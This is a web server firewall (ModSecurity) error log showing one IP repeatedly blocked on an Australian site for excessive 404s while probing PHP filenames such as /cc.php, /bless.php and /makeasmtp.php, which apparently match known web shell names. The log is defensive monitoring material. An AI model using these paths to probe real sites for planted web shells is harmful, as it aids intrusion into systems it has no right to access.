[Tue Dec 23 20:28:50.036277 2025] [:error] [pid 25976:tid 25984] [client 20.196.109.137:13137] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUqLArF6LaWzQScE-xN9WwAAAQY"]
[Tue Dec 23 20:28:50.428912 2025] [:error] [pid 3497:tid 3524] [client 20.196.109.137:13190] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUqLAuzUE6hZ8LJecSsUagAAANg"]
[Tue Dec 23 20:28:50.882021 2025] [:error] [pid 3497:tid 3520] [client 20.196.109.137:13266] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUqLAuzUE6hZ8LJecSsUawAAANQ"]
[Tue Dec 23 20:28:51.687489 2025] [:error] [pid 11812:tid 11819] [client 20.196.109.137:13272] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUqLA7BkIQ4nTXm4A3UbFgAAAIU"]
[Tue Dec 23 20:28:52.376695 2025] [:error] [pid 3404:tid 3427] [client 20.196.109.137:13255] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aUqLBMJGbPWZNlrhVJdUywAAAdI"]
[Tue Dec 23 20:28:53.045270 2025] [:error] [pid 3405:tid 3445] [client 20.196.109.137:13278] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aUqLBbdHHpIDpQ39rwk_CwAAAAg"]
[Tue Dec 23 20:28:53.497611 2025] [:error] [pid 54375:tid 54392] [client 20.196.109.137:13290] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aUqLBZ1Yro3O5R2WY-BvAAAAAk8"]
[Tue Dec 23 20:28:54.226908 2025] [:error] [pid 54297:tid 54317] [client 20.196.109.137:13286] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aUqLBkZMNime0caoKPKiFAAAAZA"]
[Tue Dec 23 20:28:54.932007 2025] [:error] [pid 11812:tid 11830] [client 20.196.109.137:13279] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aUqLBrBkIQ4nTXm4A3UbGQAAAJA"]
[Tue Dec 23 20:28:55.675614 2025] [:error] [pid 54408:tid 54413] [client 20.196.109.137:13226] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aUqLB2up4YbWx_MWvp1V-QAAAoI"]
[Tue Dec 23 20:28:56.275213 2025] [:error] [pid 3405:tid 3458] [client 20.196.109.137:13311] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aUqLCLdHHpIDpQ39rwk_DgAAABU"]
[Tue Dec 23 20:28:56.796682 2025] [:error] [pid 3404:tid 3419] [client 20.196.109.137:13252] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aUqLCMJGbPWZNlrhVJdUzgAAAco"]
[Tue Dec 23 20:28:57.398381 2025] [:error] [pid 54297:tid 54307] [client 20.196.109.137:13145] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUqLCUZMNime0caoKPKiGQAAAYY"]
[Tue Dec 23 20:28:57.893692 2025] [:error] [pid 3405:tid 3451] [client 20.196.109.137:13304] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUqLCbdHHpIDpQ39rwk_EAAAAA4"]
[Tue Dec 23 20:28:58.355283 2025] [:error] [pid 3405:tid 3445] [client 20.196.109.137:13289] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUqLCrdHHpIDpQ39rwk_EwAAAAg"]
[Tue Dec 23 20:28:59.086451 2025] [:error] [pid 54408:tid 54433] [client 20.196.109.137:13221] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aUqLC2up4YbWx_MWvp1V_AAAApY"]
[Tue Dec 23 20:28:59.618730 2025] [:error] [pid 54340:tid 54352] [client 20.196.109.137:13232] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUqLC5ye8-oij4iGhognowAAAgo"]
[Tue Dec 23 20:29:00.303088 2025] [:error] [pid 3406:tid 3488] [client 20.196.109.137:13130] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUqLDPn8DLWxW7TPzpHlLgAAAFg"]
[Tue Dec 23 20:29:00.828337 2025] [:error] [pid 54408:tid 54428] [client 20.196.109.137:13295] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUqLDGup4YbWx_MWvp1V_gAAApE"]
[Tue Dec 23 20:29:01.508082 2025] [:error] [pid 54340:tid 54359] [client 20.196.109.137:13131] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aUqLDZye8-oij4iGhognpQAAAhE"]
[Tue Dec 23 20:29:01.951518 2025] [:error] [pid 3405:tid 3454] [client 20.196.109.137:13271] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUqLDbdHHpIDpQ39rwk_GwAAABE"]
[Tue Dec 23 20:29:02.659882 2025] [:error] [pid 11812:tid 11832] [client 20.196.109.137:13205] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUqLDrBkIQ4nTXm4A3UbHQAAAJI"]
[Tue Dec 23 20:29:03.347002 2025] [:error] [pid 3497:tid 3502] [client 20.196.109.137:13126] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUqLD-zUE6hZ8LJecSsUeQAAAMI"]
[Tue Dec 23 20:29:04.051324 2025] [:error] [pid 3404:tid 3422] [client 20.196.109.137:13234] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUqLEMJGbPWZNlrhVJdU0QAAAc0"]
[Tue Dec 23 20:29:04.695345 2025] [:error] [pid 25976:tid 25997] [client 20.196.109.137:13306] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUqLELF6LaWzQScE-xN9awAAARM"]
[Tue Dec 23 20:29:05.138383 2025] [:error] [pid 3405:tid 3450] [client 20.196.109.137:13287] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUqLEbdHHpIDpQ39rwk_HwAAAA0"]
[Tue Dec 23 20:29:05.502071 2025] [:error] [pid 3405:tid 3444] [client 20.196.109.137:13142] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUqLEbdHHpIDpQ39rwk_IQAAAAc"]
[Tue Dec 23 20:29:06.150872 2025] [:error] [pid 25976:tid 25999] [client 20.196.109.137:13203] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUqLErF6LaWzQScE-xN9bwAAARU"]
[Tue Dec 23 20:29:06.574845 2025] [:error] [pid 3404:tid 3413] [client 20.196.109.137:13209] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLEsJGbPWZNlrhVJdU0gAAAcQ"]
[Tue Dec 23 20:29:06.992645 2025] [:error] [pid 11812:tid 11836] [client 20.196.109.137:13219] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLErBkIQ4nTXm4A3UbIgAAAJY"]
[Tue Dec 23 20:29:07.714408 2025] [:error] [pid 3406:tid 3464] [client 20.196.109.137:13216] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLE_n8DLWxW7TPzpHlMwAAAEA"]
[Tue Dec 23 20:29:08.204736 2025] [:error] [pid 3497:tid 3513] [client 20.196.109.137:13159] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUqLFOzUE6hZ8LJecSsUegAAAM0"]
[Tue Dec 23 20:29:11.752339 2025] [:error] [pid 11812:tid 11823] [client 20.196.109.137:13210] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUqLF7BkIQ4nTXm4A3UbKwAAAIk"]
[Tue Dec 23 20:29:13.916844 2025] [:error] [pid 3405:tid 3443] [client 20.196.109.137:13291] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUqLGbdHHpIDpQ39rwk_LAAAAAY"]
[Tue Dec 23 20:29:15.193563 2025] [:error] [pid 25976:tid 25991] [client 20.196.109.137:13123] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUqLG7F6LaWzQScE-xN9cwAAAQ0"]
[Tue Dec 23 20:29:16.336105 2025] [:error] [pid 25976:tid 25995] [client 20.196.109.137:13197] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUqLHLF6LaWzQScE-xN9eAAAARE"]
[Tue Dec 23 20:29:16.844699 2025] [:error] [pid 3404:tid 3433] [client 20.196.109.137:13064] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUqLHMJGbPWZNlrhVJdU3QAAAdg"]
[Tue Dec 23 20:29:17.413147 2025] [:error] [pid 25976:tid 26002] [client 20.196.109.137:13307] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUqLHbF6LaWzQScE-xN9fAAAARg"]
[Tue Dec 23 20:29:18.092002 2025] [:error] [pid 25976:tid 25983] [client 20.196.109.137:13217] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUqLHrF6LaWzQScE-xN9fwAAAQU"]
[Tue Dec 23 20:29:18.587345 2025] [:error] [pid 25976:tid 25985] [client 20.196.109.137:13259] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aUqLHrF6LaWzQScE-xN9gAAAAQc"]
[Tue Dec 23 20:29:19.229664 2025] [:error] [pid 54297:tid 54311] [client 20.196.109.137:13207] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUqLH0ZMNime0caoKPKiJQAAAYo"]
[Tue Dec 23 20:29:19.639826 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13310] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUqLH7dHHpIDpQ39rwk_LwAAAAQ"]
[Tue Dec 23 20:29:20.186252 2025] [:error] [pid 3405:tid 3450] [client 20.196.109.137:13222] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUqLILdHHpIDpQ39rwk_MAAAAA0"]
[Tue Dec 23 20:29:20.830252 2025] [:error] [pid 3405:tid 3449] [client 20.196.109.137:13148] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUqLILdHHpIDpQ39rwk_MwAAAAw"]
[Tue Dec 23 20:29:21.436669 2025] [:error] [pid 54297:tid 54303] [client 20.196.109.137:13213] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUqLIUZMNime0caoKPKiKAAAAYI"]
[Tue Dec 23 20:29:21.968812 2025] [:error] [pid 3405:tid 3442] [client 20.196.109.137:13133] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUqLIbdHHpIDpQ39rwk_NwAAAAU"]
[Tue Dec 23 20:29:22.585494 2025] [:error] [pid 3497:tid 3511] [client 20.196.109.137:13218] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUqLIuzUE6hZ8LJecSsUjAAAAMs"]
[Tue Dec 23 20:29:23.140972 2025] [:error] [pid 3406:tid 3464] [client 20.196.109.137:13155] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUqLI_n8DLWxW7TPzpHlPAAAAEA"]
[Tue Dec 23 20:29:24.157822 2025] [:error] [pid 11812:tid 11826] [client 20.196.109.137:13150] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUqLJLBkIQ4nTXm4A3UbOQAAAIw"]
[Tue Dec 23 20:29:24.622564 2025] [:error] [pid 3405:tid 3440] [client 20.196.109.137:13277] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUqLJLdHHpIDpQ39rwk_PAAAAAM"]
[Tue Dec 23 20:29:25.008755 2025] [:error] [pid 54297:tid 54313] [client 20.196.109.137:13305] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUqLJUZMNime0caoKPKiLQAAAYw"]
[Tue Dec 23 20:29:25.657402 2025] [:error] [pid 25976:tid 25980] [client 20.196.109.137:13283] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUqLJbF6LaWzQScE-xN9iAAAAQI"]
[Tue Dec 23 20:29:27.517420 2025] [:error] [pid 3404:tid 3429] [client 20.196.109.137:13139] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUqLJ8JGbPWZNlrhVJdU4gAAAdQ"]
[Tue Dec 23 20:29:29.604978 2025] [:error] [pid 3405:tid 3453] [client 20.196.109.137:13208] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUqLKbdHHpIDpQ39rwk_QQAAABA"]
[Tue Dec 23 20:29:30.753981 2025] [:error] [pid 3497:tid 3502] [client 20.196.109.137:13206] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUqLKuzUE6hZ8LJecSsUlgAAAMI"]
[Tue Dec 23 20:29:31.280820 2025] [:error] [pid 3405:tid 3438] [client 20.196.109.137:13275] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUqLK7dHHpIDpQ39rwk_RgAAAAE"]
